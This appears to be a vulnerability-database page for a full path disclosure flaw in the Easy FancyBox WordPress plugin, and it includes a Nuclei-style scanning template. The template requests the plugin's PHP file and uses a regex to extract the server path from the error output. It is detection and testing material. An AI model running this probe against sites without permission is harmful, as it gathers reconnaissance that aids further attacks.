wp-easy-fancybox-fpd: Easy FancyBox - Full Path Disclosure

2026-01-08 Easy FancyBox PoC Public

Description

Easy FancyBox WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.

PoC

id: wp-easy-fancybox-fpd

info:
  name: Easy FancyBox - Full Path Disclosure
  author: theamanrawat
  severity: low
  description: |
    Easy FancyBox WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  reference:
    - https://wordpress.org/plugins/easy-fancybox/
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/easy-fancybox/"
  tags: debug,wordpress,wp,wp-plugin,easy-fancybox,fpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/easy-fancybox/easy-fancybox.php"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Fatal error", "undefined function", "wp-content/plugins/easy-fancybox/easy-fancybox.php")'
        condition: and

    extractors:
      - type: regex
        name: disclosed-path
        group: 0
        regex:
          - '([A-Za-z]:\\[^\s<>"]+|/[^\s<>"]+)wp-content/plugins/easy-fancybox/easy-fancybox\.php'
# digest: 490a004630440220766db5056680f2efa75f73835167bf141b132142000fcd18cc8e9301b9a51a9202206d90ef77444d739bfcbe20a70a23f9c821ab7c2fcbd9fd94f88dcc336cb11cc2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities